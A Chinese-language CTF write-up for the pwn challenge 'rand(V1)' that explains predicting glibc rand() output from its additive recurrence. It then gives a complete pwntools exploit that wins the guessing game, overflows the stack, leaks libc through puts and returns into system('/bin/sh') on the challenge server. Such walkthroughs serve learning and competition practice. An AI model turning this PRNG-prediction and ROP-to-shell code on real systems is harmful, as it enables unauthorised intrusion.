[NSSRound#6 Team]rand(V1)

最后更新于 2024-12-03 692 字 预计阅读时间: 3 分钟


ELF 64,打开了/dev/urandom读取随机数播种

连续猜对十次有栈溢出,猜不对则告诉答案

在libc中的srand和rand函数

srand函数。kc=31。输入seed后用seed初始化一个32大小的state数组

  • state[i] = (16807 * state[i - 1]) % 2147483647;

state生成结束后kc*=10,执行310次_random_r函数

这一坨东西又长又臭看佬总结的把

YX-hueimie佬代码

#include <stdio.h>

#define seed 1

void main() {
	int r[500];
	int i;

	r[0] = seed;
	for (i = 1; i < 31; i++) {
		r[i] = (16807LL * r[i - 1]) % 2147483647;
		if (r[i] < 0) {
			r[i] += 2147483647;
		}
	}
	for (i = 31; i < 34; i++) {
		r[i] = r[i - 31];
	}
	for (i = 34; i < 344; i++) {
		r[i] = r[i - 31] + r[i - 3];
	}
	for (i = 344; i < 380; i++) {
		r[i] = r[i - 31] + r[i - 3];
		printf("r[%d]%d\n", i - 344, (unsigned int)r[i] >> 1);
	}
}

可以看到rand函数只是输出srand用seed生成的随机数并且在得到32个随机数后r[i] = r[i - 31] + r[i - 3];就变成了r[i+32] = r[i] + r[i +28];可以预测后面的随机数用这个方法连续猜对10个数后打栈溢出ROP即可

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import ctypes
import os,base64
from LibcSearcher import *
filename="./service1"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=0
if debug:
    p=process(filename)
    #gdb.attach(p, "b *$rebase(0x1444)")
else:
    p=remote("node5.anna.nssctf.cn" ,  27459)
libc = ELF("./libc-2.31.so")
ok=0
i=0
num = []
for x in range(32):
    #sleep(0.5)
    p.sendline(b"1")
    p.recvuntil(b"No, the correct number is: ")
    num.append(int(p.recv(20).decode().strip()))
print(num)
num0=(num[30]-num[27])%0x80000000
while True:
    #sleep(1)
    #sleep(1)
    a=(num[1+i]+num[29+i])%0x80000000
    p.sendline(str(a).encode())
    rec=p.recv(7).decode()
    print("rec="+rec)
    if  "Bingo." in rec:
        p.recvline()
        num.append(a)
        ok+=1
    else:
        p.recvuntil(b"number is: ")
        num.append(int(p.recv().decode().strip()))
        ok=0
    if ok==10:
        break
    i += 1
pop_rdi=0x0000000000400a93
pop_rsi_r15=0x0000000000400a91
p.recvuntil(b"Bingo. leave ur name to us. plz")
p.sendline(p32(0)+p64(num0)+b"a"*0x20+p64(pop_rdi)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(0x400867))
puts_got=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print(hex(puts_got))
libc=LibcSearcher("puts",puts_got)
base=puts_got-libc.dump("puts")
system=libc.dump("system")+base
binsh=base+libc.dump("str_bin_sh")

ok=0
i=0
num = []
for x in range(32):
    #sleep(0.5)
    p.sendline(b"1")
    p.recvuntil(b"No, the correct number is: ")
    num.append(int(p.recv(20).decode().strip()))
print(num)
num0=(num[30]-num[27])%0x80000000
while True:
    #sleep(1)
    #sleep(0.5)
    a=(num[1+i]+num[29+i])%0x80000000
    p.sendline(str(a).encode())
    rec=p.recv(7).decode()
    print("rec="+rec)
    if  "Bingo." in rec:
        p.recvline()
        num.append(a)
        ok+=1
    else:
        p.recvuntil(b"number is: ")
        num.append(int(p.recv().decode().strip()))
        ok=0
    if ok==10:
        break
    i += 1

p.recvuntil(b"Bingo. leave ur name to us. plz")
p.sendline(p32(0)+p64(num0)+b"a"*0x20+p64(0x400A27)+p64(pop_rdi)+p64(binsh)+p64(system))

p.interactive()
此作者没有提供个人介绍。
最后更新于 2024-12-03